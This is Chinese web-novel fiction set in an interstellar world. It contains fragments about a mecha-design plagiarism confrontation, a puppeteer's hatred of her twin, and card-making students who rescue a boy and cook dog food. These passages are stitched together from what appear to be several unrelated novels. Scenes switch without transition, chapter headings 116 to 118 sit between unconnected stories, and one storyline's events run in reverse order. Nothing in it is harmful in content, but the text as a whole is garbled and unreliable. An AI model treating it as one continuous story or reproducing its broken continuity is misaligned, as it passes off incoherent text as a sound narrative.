算算时间，正是方羲准备去水蓝大学报到前。那时对大伯一家没设防，方绮听着她的描述和随意画的几笔，早就开始了抄袭准备。 见方羲沉默一会没动，方绮清楚她在纠结什么，故意问，“妹妹想好提交什么证据了吗？” 机甲师中有心急的人催促道，“方羲机甲师，你快说啊！” 比赛已经结束，赛场大屏幕从直播间切换到广告模式。 “天使之翼，风一般的享受，生机机甲新款加速部件即将上市！预售白金色限量发售1000份，点击即可拥有！” 广告上流线型的窄翅在机甲两侧扬起，白色圣洁又精致，宛如天使的羽翼。机甲急速飞行穿过云层，特效中围绕着一座金光灿灿的大厦转了个圈，展示出四个大字： “生机机甲。” 方羲还是第一次见这栋大厦。 祖父母在时，生机集团的实验基地在附近星球，水蓝星上只做宣传和比赛。水蓝星毕竟是星系主星，缺少宽敞的地方做很多研究和实验。 大伯接手公司后开始往水蓝星搬迁，建起的大厦也透着一股炫耀实力的味道。 但在大多数人眼中，这却是生机机甲实力雄厚的表现。 “没准方绮说的是真的？有协会审核，又是生机机甲推出的加速部件，总不至于是抄袭吧？” 落在方绮身上的疑问审视越来越少，方绮得意地看了方羲一眼，“我本来想给你留点面子，你……唉。要不算了吧。” “什么算了？”人群外忽地响起一道苍老的声音。 选手休息区的问题，很快惊动了还没走的嘉宾。 谭会长带着助手赶来，看见休息区围着一群机甲师就头疼，“抄袭？怎么回事？” 机甲师们互相望望，露出中间的方羲方绮两人。 “谭会长！”方绮故意为难道，“我……妹妹和我闹着玩呢，妹妹生病乱说话也是有的……” 谭会长认出方羲，第一反应是不可能。 方羲用的新技术，他们这些老家伙还没搞懂为什么呢，怎么可能是抄的？去哪抄啊？ 听说是方羲认为初赛的设计抄袭，谭会长脸色沉凝，“方羲，你有证据吗？” 方绮：证据？哈，她得拿得出来才行！ 一直沉默的方羲却点了点头，“谭会长，我有机甲设计模型，检测时间在这份设计图之前。我申请核查对应设计版权。” 方绮刚扬起的唇角凝固。模型？不是设计图？！ 方羲打开工具箱，拿出小小的模型。 刚拿出来，就有机甲师猛地回头看向大屏幕。 盒子里的翅膀模型看得出还很简陋，但改造思路，明显和屏幕上预售的机甲部件一样！ 谭会长紧皱的眉头松了些，“正好，一号竞技场新配置了检测仪器，你们跟我来。” 方绮镇定的神色快维持不住了，死死盯着模型。怎么会？方羲一定是在骗人！ 方绮双腿虚软，想昏过去拖延时间，却被方羲握住肩膀，“你不想去？” 谭会长闻声回头，方绮读出她眼中的怀疑，打了个哆嗦，强笑着跟上，“怎么会呢？我这就来、这就来。” 机甲师们对视一眼，都差不多明白了谁在说谎。 随着仪器运转，方绮脸色越来越白，背后一层层冒冷汗。她像抓救命稻草一样祈祷，方羲只是虚张声势。 【叮！根据材料性状显示，模型制作时间为X722年5月！】 仪器提示音打破了她的幻想。 真相大白，机甲师们愤愤，“靠！抄袭狗死到临头还嘴硬！难怪一直推三阻四不愿意检查，原来是自己心虚啊？抄袭还要乱咬人泼脏水，恶心！” “我没有！我没有……”四周投来的都是厌恶眼神，方绮一阵天旋地转。 是因为首领狼感知到我在附近，你才能这么快地发现真正的出口吧？ 我的确害怕你，畏惧你，不敢反抗你，看见你的第一反应依然是讨好和逃跑。 我还把自己视作一个奉献自我的物件，并且任由你打骂、夺走我的作品。 ——但我也想杀死你！ 梨花雪经常透着懦弱自卑的双眼，此刻却像被揭下了一层膜，露出最真实浓烈的恨意。 最好，让你万劫不复。 这是我，横贯了足足二十一年，日日夜夜反复呢喃的心愿。 我的弟弟。 我的傀儡师。 我的另一半灵魂。 想杀死你。 第 116 章 第 116 章 群狼踩过的河流，顷刻间凝结为冰。 这时，所有人才真正看清楚脚下的究竟是什么东西。 一个猎人低头瞥了一眼，脸上露出一抹转瞬即逝的惊惧——他恰好踩在了一个婴儿的胸口上。 而这个婴儿，脸上还保留着天真无邪的笑容，像是照相机那样定格静止。 但好在，狼群天生的雪地力量，很快覆盖了这个血流成河的画面。 踏樱和梨花雪落到了比较后面的位置，一群人跟着八千棋局的队伍前进。 移动了一段时间，血河中逐渐出现了几个两三米高的十字架，睁开纯白色的单眼，伸出长长的荆棘枝条，无声无息地缠绕猎人们的双脚。 又开始难受了。 第一区南部郊区的山顶别墅里，欧阳瑞坐在花园里的小椅子上，眉头慢慢皱了起来。 他必须得找点事情做，来转移掉自己的注意力。 可是今天的功课已经做完了。 爷爷在工作。 前天晋哥已经来陪他看过电影了，他好像有什么心事，一晚上都没怎么跟他说话，哪怕他把自己最喜欢的一个机甲模型送给了他，他都没有好转过来，所以他现在不太想再麻烦他。 要不，再去溜一圈大黄…… 四脚朝天，已经累瘫了的小阿拉斯加：“……” 好在它突然灵光一闪：“嗷呜？” 欧阳瑞：“……去找那天遇到的那个哥哥玩？” 小阿拉斯加：“嗷呜。” 欧阳瑞：“会不会太麻烦他了？” 小阿拉斯加：“嗷呜嗷呜！” 那就问一问他？ 反正他之前加过他的光脑号。 欧阳瑞摸了摸手腕上的光脑，最终还是鼓起勇气，发了条消息过去。 结果一分钟过去了，两分钟过去了，方羲都没有回复他。 欧阳瑞眼中的光芒以肉眼可见的速度黯淡了下去。 小阿拉斯加：“……” “嗷呜嗷呜！” 欧阳瑞连忙揪住了这根救命稻草：“也是，说不定那个哥哥是因为正在忙，所以才没有回复我的。” “那我再问问另一个哥哥。” 看到欧阳瑞发来的消息，完全不知道自己已经成了替身文学里的主角的乔峻直接回复道：“当然可以啊。” 欧阳瑞的眼睛顿时就又亮了。 不过去别人家做客，也不能空着手去。 可是他的那些收藏品，比较好的都送给晋哥了。 像是想到了什么，欧阳瑞直接跳下椅子，小跑着回了别墅。 半分钟后，他推开书房的大门。 他往里面看了看，他爷爷果然正在工作。 他也就没有打扰他，而是直接朝着他爷爷身后的书架走去。 到了地方，他爬上楼梯，伸手把中间的一个格子里的三本书拿了下来。 然后他就抱着书又噔噔噔的跑出去了。 于是半个小时后，乔峻在校门口接到了欧阳瑞和小阿拉斯加。 欧阳瑞：“乔峻哥好。” 小阿拉斯加：“嗷呜嗷呜！” “真乖。” 乔峻忍不住摸了摸他的头，又摸了摸小阿拉斯加的头。 “好了我们进去吧，不过你的这些保姆机器人恐怕得留在悬浮车里。” “好的。” 欧阳瑞说。 乔峻看他迈着小短腿，捧着那几本书，别提有多吃力的样子，便说道：“我帮你拿吧。” 欧阳瑞却往旁边躲了躲：“不用，我自己就行。” 乔峻：“好吧。” 好在没过多久，他们就到了。 一进门，欧阳瑞就看到方羲正坐在书桌前翻看着资料，他的眼睛里忍不住带上了一丝笑意。 所以方羲哥哥真的不是因为不喜欢他，而是有事在忙，所以才没有第一时间回复他的消息。 他喊道：“哥哥。” “嗯？” 方羲抬头一看：“你们怎么来了。” 欧阳瑞直接走了过去，他把手里的书高高举了起来：“哥哥，这是我送给你们的礼物。” 乔峻：“……” 送给他们的礼物？ 可是他刚才想帮忙，欧阳瑞却连碰都不让他碰—— “谢谢。” 方羲顺手接过了那几本书，不等他翻看，小阿拉斯加也冲到了他面前：“嗷呜嗷呜！” 欧阳瑞给它翻译：“它说你答应给它做的窝窝头呢？” 方羲：“……” 他这还是第一次被人……被狗上门追债。 小阿拉斯加：“嗷呜？” 欧阳瑞的小眉头皱了起来。 因为小阿拉斯加说的是：“你连狗都骗？” 这不是在责怪方羲哥哥吗？他也不知道该不该继续翻译了。 “好吧。” 方羲随手将那几本书放在了旁边的桌子上：“我现在就给你做。” 只有一点，那就是宿舍里根本就没有配备厨房用具，所以他们要准备的东西有点多。 不过好在星际时代，锅具也都进化了，一个只需要一千星币的料理箱，不仅拥有自动炒菜的功能，还兼顾蒸烤煮炖炸的功能。 ——如果是在以前，方羲绝不会说一千星币一个的锅具很便宜，但是在一瓶七十毫升就要一千五百星币的三文鱼油面前，它的确很便宜了。 所以等到方羲付完账的时候，他的光脑里只剩下了三块六毛钱。 不过方羲并不在意。 毕竟相对于欧阳震华老先生送给他们的那份心得给予他的帮助，这六千多星币真的不算什么。 接下来只需要等着商羲的工作人员把他们买的东西送过来就行了。 也就在这个时候，结算界面突然跳出来一个抽奖按钮。 原来这家商羲最近这几天正在举行一百二十周年店庆活动，凡是在他们家消费满一百星币的顾客，就可以获得一次抽奖的机会，满两百星币，可以获得两次抽奖的机会，封顶三次机会。 特等奖是一块价值两万星币的儿童飞行滑板。 一等奖是四千星币现金。 二等奖是三张F级水卡。 …… 参与奖是一小管营养液。 按照方羲的经验，不出意外的话，他们会抽到三小管营养液。 不过方羲可以让它再多一点价值。 那就是哄小孩开心。 于是方羲直接把光脑递到了欧阳瑞面前。 “来，抽一个试试。” 对上方羲鼓励的目光，欧阳瑞伸手在抽奖按钮上戳了戳。 几秒钟后，转盘停止转动，指针稳稳停在了特等奖的字样上。 方羲：“……” 乔峻：“……” 欧阳瑞的眼睛瞬间就更亮了。 他又伸手戳了戳。 指针停在了一等奖的字样上。 方羲：“……” 乔峻：“……” 旁边的小阿拉斯加见状，凑了过来。 欧阳瑞给它让了让。 它跳起来按在抽奖按钮上。 指针再次停在了一等奖的字样上。 方羲：“……” 乔峻：“……” 好家伙，到最后他们还赚了。 “真棒。” 方羲伸手摸了摸欧阳瑞和小阿拉斯加的脑袋。 欧阳瑞的小脸都红了。 高兴的。 为他好像做了一件贡献非常大的事情。 小阿拉斯加忍不住摇起了尾巴。 主要是方羲的手法比欧阳瑞他们的好多了，摸的它有点舒服。 很快，那家商羲的工作人员就把他们购买的东西以及奖品都送了过来。 方羲随后就忙碌了起来。 乔峻他们也没有闲着，帮着他清洗料理箱，清洗苹果和紫甘蓝，就连小阿拉斯加也被他们分配了一个把包装袋拖出去扔掉的工作。 不过到了制作阶段，他们就帮不上什么忙了。 只见方羲的熟练的将紫甘蓝焯水，剁碎，和鸡肉丁以及牛肉丁一起揉进玉米面里…… 十分钟后，一个个窝窝头在他手里塑造成型。 而后他们就被方羲送进了料理机里。 五分钟后，一股浓郁的香味就从料理机里飘了出来。 小阿拉斯加：“嗷呜？” 欧阳瑞：“嗯？” 乔峻：“嗯？” 于是两分钟后，方羲把蒸好的窝窝头从料理机里拿出来，回头一看—— 一只狗怎么变成了三只？ ——小阿拉斯加的尾巴快要摇成风车了。 旁边欧阳瑞瞪大了双眼。 乔峻就差直接越过他把头伸进蒸笼里了。 乔峻摩拳擦掌：“它是不是香的有点过分了。” 方羲也是这么觉得的。 他敢保证，同样的材料，上辈子他们做出来的拆蛋专家绝对没有锅里的这些香。 不对，材料还是有差别的，毕竟上辈子他们用的都是一些冷冻品和边角料，可是星际时代可不存在什么冷冻品和边角料，而且这些食材可全部都是用异能力变换出来的。 四舍五入，这些可就都是灵植和灵兽肉了。 难怪它们能滋养人类的身体。 一边想着，方羲一边拿了几个窝窝头放进一个大碗里，递给欧阳瑞，示意他喂给小阿拉斯加吃。 小阿拉斯加当即冲了上去，欧阳瑞下意识拿起一个窝窝头喂给了它。 “嗷呜。” 小阿拉斯加的尾巴顿时就摇的更欢快了，吃完两个之后，又像是想起了什么，它又嗷呜了两声，示意欧阳瑞也吃。 乔峻的声音也在这个时候响了起来：“我能尝尝吗？” 方羲：“……这是狗粮。” “没事，五千多星币一盆的狗粮呢。” 乔峻说：“我以前吃的还没有这么好呢！” 方羲：“……” 虽然但是，听起来还怪可怜的。 乔峻当即就抓起一个窝窝头，塞进嘴里。 欧阳瑞见状，也拿起一个窝窝头放到了嘴边，在尝了一口之后，他也跟着加快了速度。 乔峻：“太香了，比咱们昨天吃的干锅大虾还要香，就是味道有点淡了……” 欧阳瑞：“嗯嗯嗯。” 方羲：“……” 都说了是狗粮，味道能不淡吗。 所以他们还真就爱上了？ 但他肯定是不会去尝试的。 毕竟上辈子，那些中了拆蛋专家的计的流浪哈基米和修狗，很多都是他亲手嘎的。 那画面…… 方羲又看了乔峻和欧阳瑞一眼。 拆蛋专家从未失手的招牌算是毁了。 毕竟这两只谗狗肯定是不能抓的。 十几分钟后，乔峻抱着自己的大肚子，躺在椅子上，一边打着长嗝，一边说道：“如果可以的话，真想就这样躺一辈子。” 而在他脚边，欧阳瑞枕着小阿拉斯加躺在一个坐垫上，小肚子也都已经鼓了起来。 小阿拉斯加朝着方羲嗷呜了一声。 这次方羲听懂了，它是在说，他果然没有骗它，这窝窝头确实很好吃，所以它原谅他了。 不过他可不能就这么躺下去。 剩下的收尾工作他还得主动承担起来才行。 乔峻艰难的站了起来。 “行。” 方羲说。 然后他身手把欧阳瑞从坐垫上抱了起来，往肩膀上一放：“走，我们去玩飞行滑板去，消消食。” 欧阳瑞下意识抱住方羲的头，然后眼睛就忍不住弯了起来：“嗯嗯。” 小阿拉斯加当即也跟了上去。 十几分钟后，乔峻终于把东西全都收拾好了。 “呼。” 他擦了擦额头上的汗，准备去接点水喝。 路过方羲的书桌的时候，他又看到了下午的时候，欧阳瑞拿过来的那几本书。 他突然停下脚步。 因为觉得这几本书好像有点眼熟。 像极了之前欧阳震华老先生送给他们的那十几本心得。 想到这里，他伸手翻开了最上面的那本书。 映入眼帘的就是一行熟悉的字迹：“S级卡牌和A级卡牌之间同样横亘着一条天堑……” 乔峻：“……” 半个小时后，在牧诏的陪同下，欧阳震华赶到了第一中学。 看到乔峻，他的第一句话就是：“不好意思，小瑞给你们添麻烦了。” 乔峻也第一时间把那几本书递还给了欧阳震华。 所以那几本书可不正是欧阳震华写的从A级修炼到2S级的心得。 欧阳瑞不清楚它们的真实价值，随随便便就把它们送给了他们，乔峻还能不清楚吗？ 所以这几本书他们可不敢收。 欧阳震华：“多谢。” 他甚至有些尴尬，之前他还扣扣搜搜的只给了乔峻他们前半部分心得，结果现在乔峻他们却主动把这最重要的后半部分心得还了回来…… 不过没关系，这段时间第十星系的各大家族给他送了不少土特产，明天他让人送几箱给乔峻他们尝尝就是了。 “小瑞呢？” 乔峻：“他们在训练室玩飞行滑板。” 于是等到他们赶到训练场的时候，看到的就是这样一幅场景。 欧阳瑞站在一块距离地面约一米高的飞行滑板上，小阿拉斯加趴在他身后，方羲站在他旁边方着他。 欧阳震华下意识停下脚步，耳边只剩下两人的对话声。 欧阳瑞：“哥哥，好高啊。” 方羲：“你的身体往前面压一压，再回正，高度就降下去了。” 欧阳瑞：“哥哥，腿有点麻了。” 方羲：“那就休息一会儿。” …… 欧阳瑞：“哥哥，你还在方着我吗？” 方羲：“方着的。” 其实他的手已经松开了。 欧阳瑞也很快就发现了这一点，他顿时就慌了：“哥哥？” 方羲却笑着说道：“小瑞真棒，这么快就学会了。” 因为这个时候，欧阳瑞已经独立飞行了二十多米了。 欧阳瑞：“嗯？” 他往身后看了看。 这一瞬间，即便隔了几十米之远，欧阳震华都能看到他眼中越发明亮的光芒。 牧诏的唇角也忍不住弯了弯。 毕竟这样一副和谐温暖的画面，谁会不喜欢呢。 半个小时后，欧阳震华抱着欧阳瑞一步一步往山顶上的庄园走去。 月亮在他们身上撒下一层光辉。 欧阳震华：“小瑞今天玩的开心吗？” 欧阳瑞下意识看向旁边保姆机器人手里拿着的那块飞行滑板，郑重点头：“嗯。” 欧阳震华：“你很喜欢方羲？” 欧阳瑞默了默，最终还是实话实说：“他比晋哥好。” 欧阳震华顿了顿：“是吗！” 欧阳瑞眼角的余光又看到了另一个保姆机器人手里拿着的书：“那不是我今天送给方羲哥哥他们的礼物吗？” “……嗯。” 欧阳震华说：“他们比较客气，就没有收下。” “不过你下一次去找他们玩的时候，可以再把它们带上。” 欧阳瑞：“下一次他们就会收下了吗？” 欧阳震华：“他们看在你爷爷我……一把年纪的份上，应该会收下的。” 欧阳瑞：“好的。” “我也是傀儡师。” “我带你们通往穷极的胜利。” “我让你们看清脚下的险境。” 梨花雪呜咽着声音说：“只要这么做，你们是不是就可以别站在这个小偷的那边？” 能不能，别再替小偷说话，也别再用看累赘、看弱者一样的眼神注视我。 明明，这些作品都是我的。 我才是傀儡的主人。 第 117 章 第 117 章 陈卧雪有些发愣地瘫倒在原地，怀疑自己只是在做梦。 她究竟是什么时候萌发出这么强烈的自我意识？明明在程序设定中，陈据雪只是一个彻头彻尾的下位者，懦弱，腼腆，卑微，乞求，仰着头，最合适不过的被洗脑者。 即使他知道，陈据雪开始学会了耍些小手段，但也从来没有想过，这名懦弱的同胞，会突然决绝到这种地步。 将所有真相公之于众，疯了吗，生怕整个南十字架活不到第二天吗？ 牧家小少爷牧诏从中央星际转学到了第一中学的消息很快就引爆了整个启明星。 牧家是个什么样的人家？ 从贫穷落后的启明星起家，最终在中央星系上站稳脚跟，四百年里，出过两个3S级能力者，五个2S级能力者，资产遍布星际联盟，现任家主虽然只是个2S级驭兽师，但是家族之中现有B级以上能力者超过百人，实力甚至超过了星际联盟的一些老牌世家。 牧诏又是什么人？ 牧家嫡系唯一的孙辈，板上钉钉的牧家继承人，虽然十五岁才觉醒，天赋值只有三十五，十七岁才晋升到E级，但是他手上却已经握有八种F级卡、七种E级卡的原创专利，二十二种F级卡和E级卡的改良专利，前途无限。 所以他怎么可能会放弃中央星系优质的教育资源，转学到启明星来？ 答案只会是一个，他是冲着欧阳震华老先生来的。 “那可真是太好了！” “难怪牧氏会突然加大对启明星的投资。” “有这位牧家小少爷在，启明星一定会越来越好的，至少不会再发生市区突然蹿出一株变异植物的事情了。” 启明星的居民忍不住欢呼了起来。 冯晋的脸色却不太好看。 方羲的事情还没有解决，现在又蹦出来一个牧诏—— 毕竟他原本已经是板上钉钉的第一中学30届的首席，所有人尤其是那些大少爷大小姐追捧的存在了。 可是现在，牧诏空降第一中学，在那些大少爷和大小姐的心里，牧诏的分量显然比欧阳震华还要重，所以现在，他们都准备去讨好牧诏去了。 但他不知道的是，这件事情才刚刚开了个头呢。 校长等人已经懵了。 高兴的。 因为欧阳老先生找到了他们，将昨天晚上有两名第一中学的学生在游乐场外帮了他的孙子的事情告诉了他们，并且希望他们能够帮他找出那两名学生。 线索是那些保姆机器人拍下的一段监控录像。 校长等人定睛一看，其中一个可不正是他们现在的心头宝方羲。 他们刚才还在讨论，要怎么把方羲推到欧阳震华面前去呢。 结果方羲转身也成了欧阳老先生的恩人。 这是什么世纪大惊喜！ 校长当即说道：“这两个学生我们还真就都认识，您稍等，我现在就把他们叫过来。” 昨天晚上他们顺手救下的那个小孩竟然就是欧阳震华老先生的独孙？ 直到他们踏进校长办公室的大门，乔峻都还没有反应过来。 看到他们进来，欧阳震华第一时间站了起来，给他们鞠了一躬：“真是太感谢你们了。” 乔峻忙不迭摆起了手：“举手之劳而已，算不上什么。” 方羲也说：“而且安全局的人很快就赶到了，就算我们当时什么都不做，令孙也不会出什么事情的。” 欧阳震华当然知道这些，而且就算当时那株C级变异植物追上了欧阳瑞，他也不会受什么伤，因为在经历了小儿子意外车祸身亡的事情之后，他就习惯了给亲人都配备上最先进的防御手环和防御卡。 但它们保护得了欧阳瑞的身体，却保护不了他本就脆弱不堪的心灵。 可想而知，如果不是方羲他们及时向他伸出援手，这次的事件，又会给欧阳瑞的精神带来多大的创伤。 所以欧阳震华说道：“这件事情对于你们来说可能只是一件微不足道的小事，但是对于我们来说，绝对是一件需要郑重对待的事情。” 一边说着，他一边拿出了一个箱子。 “听说你们是制卡班的学生，我也没有什么好送给你们的，这是一份心得，里面有我从F级晋升到A级的一些经验，希望能帮到你们。” 帮不上忙也没有关系，他们把它转手一卖，至少能得个七八百万星币。 A级以上的心得他当然也已经写好了，但他并不准备拿出来，在他看来，不出意外的话，这些就足够方羲他们受益一辈子了，而且他也要留着一些压箱底的东西才行。 “这？” 乔峻怎么可能会不心动，甚至于他的身体都忍不住颤抖了起来。 但他还是勉强保持住了理智。 他还是觉得他们根本就没有做什么，所以不应该接受欧阳震华这么丰厚的馈赠。 欧阳震华只能再次说道：“收下吧。” 一旁的校长等人也催促道：“既然是欧阳老先生的好意，你们就收下吧。” 方羲两人这才接过那个箱子：“那就多谢欧阳老先生了。” 回到宿舍，乔峻却没有第一时间去翻看那些心得，他拉起方羲，就往外走去：“走走走，我请你吃德慎楼的干锅大虾去。” 他心知肚明。 这件事情他纯粹是沾了方羲的光。 因为那小孩是方羲捡的，他就是带着跑了一段路而已。 要不是他堂妹好像对方羲有点好感，他今天非得认方羲做个干爹不可。 方羲：“那就不必了。” 乔峻只能推着他往前走去：“这是必须的。” 没想到的是，他们刚出宿舍区，刚一拐弯，迎面就撞上了一群人。 好在方羲及时刹住了脚，这才没有撞上对方。 就是他后面的乔峻倒了霉了，一个没注意，撞在方羲的后脑勺上，眼泪当场就下来了。 方羲却愣了一下。 因为对面为首的那个少年，好像有亿点好看。 鼻梁高挺，薄唇紧闭，即便是有白色衬衫和黑曜石袖扣的衬托，眉目间逃出来了的那丝青涩，反而将他的矜贵衬托的淋漓尽致。 不知道再给谷池加一千块零花钱，能不能把他养成这个样子。 方羲一边想着，一边往旁边让了让。 少年微微颔首，向他致谢。 两拨人随即擦肩而过。 方羲也转头看向乔峻：“你还好吧？” 乔峻：“好点了。” 直到到了下一个拐角处，少年也就是牧诏才不动声色的快速回头看了一眼，而后继续看向前方。 有点帅！ 好像接下来的一年的启明星生活也没有那么枯燥了。 少年眉眼微垂，脚步不由轻快了两分。 德胜楼的干锅大虾果然名不虚传。 至少对得起它五千星币一份的价格 被掏空了小金库的乔峻吃的既肉痛又满足。 所以回到宿舍之后，他就迫不及待掏出了卡笔和卡牌。 “冲冲冲，等我学会了制作卡牌，我再请你去德胜楼搓一顿。” “行啊。” 方羲随口应道。 然后他就拿过一本欧阳震华老先生送给他们的心得翻看了起来。 “嗯？” 方羲慢慢坐直了身体。 因为这份心得的第一篇，介绍的就是卡牌的种类，在这一篇的最后，欧阳震华老先生说，卡牌的研发和制作，其实是一场拼图游戏，将不同的小图块按照一定的规则拼凑到一起，就成了一张卡牌，如果将这些小图块换一种拼凑方式，那它们就会变成另一张卡牌。 方羲仔细回想，然后还真就从他已经学会的那六种卡牌里，发现了一些共同之处。 他当即就将自己前几天赚的那一万多星币全都取了出来，去卡牌协会的官网上购买了二十多种生活类卡牌的图纸。 就这样，他一直研究到了第二天早上。 当清晨的第一缕阳光洒射到他身上的时候，方羲忍不住伸了个懒腰。 但他脸上不仅没有丝毫的睡意，反而充斥着满足。 一个晚上的时间，他学会了这二十多种生活类卡牌，也将这二十多种生活类卡牌的纹路全部分解完毕。 正如同那位欧阳老先生在他的心得里所说的那样，这些F级生活类卡牌几乎都是由十到十五种固定的纹路组成，而每一种纹路都赋予该卡牌一种功能或者特性。 就比如方羲学会的第一张卡牌，F级黄豆卡。 从宏观角度来看，一粒黄豆由种皮、子叶、胚芽、胚轴组成。 从微观角度来看，它又由蛋白质，膳食纤维，大豆油，低聚糖还有各种维生素组成。 也就是说，这些纹路里，必然有一种纹路代表着种皮，另一种纹路代表着蛋白质…… 不过具体是哪种纹路代表哪一种特性，欧阳震华老先生的心得里并没有详细说明，星网上也没有相关的攻略。 毕竟他们如果直接把这些知识塞给后人，那后人就会缺乏对卡牌的领悟，他们就很有可能一辈子都无法打破等级之间的屏障，进而晋升到更高的等级。 这就需要方羲自己去探索。 但方羲觉得，胜利的那一天应该不会太远。 他忽然想起一件事，在游戏论坛上，“白乌鸦”其实曾经发过一个询问怎么寻找固定队友的帖子，并且隐约透露出其本人并不擅长交际、远离人群的事情。 但在恶魔副本中，收藏家身上根本无法被掩盖的领袖气质，就像她长弓放出的光辉那样，一样的耀眼灿烂。 可这两种在本质上其实相反的性格特质，却诡异地同时出现在收藏家身上。 竞技场上的狂欢声还在长鸣。 三千名新晋玩家，也是第一次亲眼看见天赋这么强悍的傀儡师。就好像，原本践踏人类的异端，却反而变成轮椅之人手中的小小玩具。 但真正缔造这一切的幕后者，只是站在竞技场的最远处，远远地看着热闹，并没有身处其中，脸上也没什么表情，黑色的眼眸里掀不起一丝波澜，轻轻叹了口气。 一边，是穿透耳膜的胜利之音。 一边，是怎么嘶喊也没有回音的寂静之地。 第 118 章 第 118 章 宋白玉忽然意识到，哪怕他们二十一个人，在恶魔战役中曾经是同生共死的队友。但或许在收藏家眼里，也无法称之为“朋友”。 猎人的直觉告诉他，好像有些什么东西，横戈在收藏家与人群之间，遥远得不可逾越。 收藏家究竟是生活在什么样的地方？ 方羲感觉耳边实在安静得有点久了，感觉这不太符合宋白玉的风格，好奇地转过头，却震惊地发现这名银色长发的猎人，莫名其妙一副伤心欲绝的样子。 啊？这货什么情况？她刚刚说了什么来着？ 方羲：大脑加载中.jpg 宋白玉瞬间收起过于夸张的表情，笑了笑道：“收藏家，我只是忽然发现，你对朋友的定义，似乎和世俗意义的不太一样……应该不是出于我们与你之间，实力存在巨大的沟壑，这种庸俗的原因吧？” 因为是晚上了，所以游乐场的门票并不贵，再加上使用第一中学的学生证还能打折，所以他们最后只花了不到一百星币，就玩了七八个项目。 要不是因为十点一过，校门就会关闭，他们还能再玩几个小时。 “要不我们星期六再来一趟？” 乔峻猛地灌了一口薄荷水。 用的薄荷可不正是用之前方羲画出来的薄荷卡变换出来的。 方羲：“那两天我得制卡赚钱。” 不过等到谷大姨他们哪天都有空的时候，可以带他们来玩一圈。 乔峻：“……” 方羲竟然已经开始赚钱了？ 不行，他也不能落后他太多才行。 乔峻左手紧握成拳，挥了挥，给自己加油打气。 没想到下一秒，砰！ 不远处的一栋大楼突然炸了。 刹那间，无数尖叫席卷而来。 乔峻：“……” 乔峻：“…………” 乔峻：“………………” 他打的气有这么大的威力吗？ 然后他就被方羲拉着向前跑去。 他这才看到几根长满了尖刺的藤蔓从那栋楼房的废墟里冲了出来。 紧跟着四面八方的机器人集体熄了火，半空中的一些小型飞行器更是直直向地面上坠去。 场面瞬间就混乱了起来。 不少人当场就骂了起来 “卧槽，有植物变异了？” “安全局是干什么吃的，竟然让市中心出现了变异植物？” “光脑也没有信号了，那它的变异方向除了恶变之外，肯定还觉醒了稀有的干预电磁波的能力……它绝对有C级。” 这下子，都不用方羲再拉着了，乔峻转身就拉着方羲跑了起来。 方羲：“……” 也就在这个时候，他的目光落在了前方一个眼睛死死盯着前方，一脸惨白，身体不停颤动，两脚却一动不动的小孩身上。 就在即将跟他错开的瞬间，方羲猛地一伸手，把他捞进了怀里。 就像是抓住了什么救命稻草一般，那个小孩下意识地抓紧了他的衣服。 正准备咬住小主人的衣服往回拖，结果却咬了个空的小阿拉斯加：“……” 当街抢小孩？ 它当即就冲了上去。 然后……没追上。 甚至一个没注意摔在了一个小水坑里，导致身上湿了大半，白色和灰色相间的皮毛上还沾上了不少灰尘。 好在乔峻的爆发力还不算太逆天，没过多久，他的速度就慢了下来。 最主要的是，他发现了方羲的重量突然比之前大了很多的事情。 于是他转头一看。 “你从哪里拐来的小孩？” 也就在这个时候，那只小阿拉斯加跳上旁边的一个小石墩，借力朝着方羲就扑了过来。 方羲眼疾手快，一个侧身向旁边躲去，松开了乔峻的手的同时，一把抓住了它的后脖颈。 方羲想都没想：“哪儿来的流浪狗？” 小阿拉斯加：“……” 它竟然就这样被这个人类抓住了。 而且他竟然还狗身攻击它？ 小阿拉斯加气坏了，它用力挥舞起四肢，试图挠花方羲的脸。 关键是，它的四肢虽然比方羲的手臂还要粗，却短的可爱，尾巴倒是稍微长一点，但貌似只会左右摇摆。 结果就是，看着试图虚空打人的小阿拉斯加，方羲纠正自己刚才的问题：“哪儿来的蠢狗？” 小阿拉斯加：“……” 目睹了这一切的乔峻：“……” “有没有可能，这只小狗是这个小孩的驭兽？” “它只是在试图保护自己的小主人。” 方羲看了看面前的这个比自己的脑袋还大了一圈的狗头：“小狗？” 小阿拉斯加扑腾的动作顿时就更加剧烈了。 方羲：“好吧。” 他还是很尊老爱幼的：“别扑腾了，我是在帮你的小主人你知道吗？至于我……骂了你的事情，改天我请你吃窝窝头好不好，用鸡胸肉，苹果，紫甘蓝，玉米面……还有三文鱼油做的。” 这可是他导师的独门秘方，江湖人称拆蛋专家，用来钓不想绝育的流浪哈基米和修狗一钓一个准。 小阿拉斯加：“……” 虽然但是，他说的窝窝头听起来好像很好吃的样子。 于是它也就真的不挣扎了。 而也就在这个时候，一艘艘星舰从他们头顶上呼啸而过。 “是安全局的人，安全局的人到了！” 众人不约而同放慢脚步，回头看去。 只见一个个身形健硕的人从星舰上一跃而下，跟在他们身后的，是各种各样的凶兽，包括十几米长的巨蟒，足有一个人高的狮子，比卡车还大的蜘蛛…… 很快，他们就将那株变异植物团团围住。 没过多久，原本还不可一世的变异植物就被他们打的节节败退。 哇！ 四脚悬空，命运的脖颈还掌握在方羲手中的的小阿拉斯加瞪大了双眼。 它以后也会变得这么厉害吗？ 小男孩，小男孩忍不住把脸埋进了方羲的胳膊里。 这个哥哥身上的气息好好闻啊……比晋哥身上的气息还要好闻。 两分钟后，随着那棵变异植物硕果仅存的一根藤蔓无力的倒了下去，这场突如其来的战役正式宣告结束。 而那几名驭兽师也凌空而立，享受起了来自四面八方的喝彩声。 “这未免也太帅了吧。” 乔峻用力鼓掌。 “又是后悔自己没能觉醒成为驭兽师的一天。” 方羲也是这么觉得……他低头看了看手里的蠢……小阿拉斯加，算了，成为一名制卡师也挺好的。 小阿拉斯加：“阿嚏！” 方羲：“所以这两个小孩怎么办？” 几乎是同一时间，信号恢复正常，四周的机器人又都活了过来，然后就有六七个机器人朝着方羲两人冲了过来：“小主人，小主人你没事吧？” 它们第一时间将方羲两人从上到下扫描了一遍，确定他们没有什么危险之后，才将胸前的炮口往下压了下去。 方羲低头问小男孩：“这是你们家的保姆机器人？” 小男孩小小的点了点头。 那可真是太好了。 方羲直接将小男孩放到了为首的那名保姆机器人的手里。 “那你先跟它们在这里待会儿。” 然后他抬头看向为首的那名保姆机器人：“以防万一，麻烦你们给他的家长发个消息，让他过来接你们。” 为首的那名保姆机器人：“好的，谢谢你们了。” 方羲点了点头。 然后他就准备转身离开了。 毕竟马上就要到十点了。 然而下一秒，他就感受到了一丝阻力。 他回头一看，是小男孩揪着他的一小片衣角。 “怎么了？” 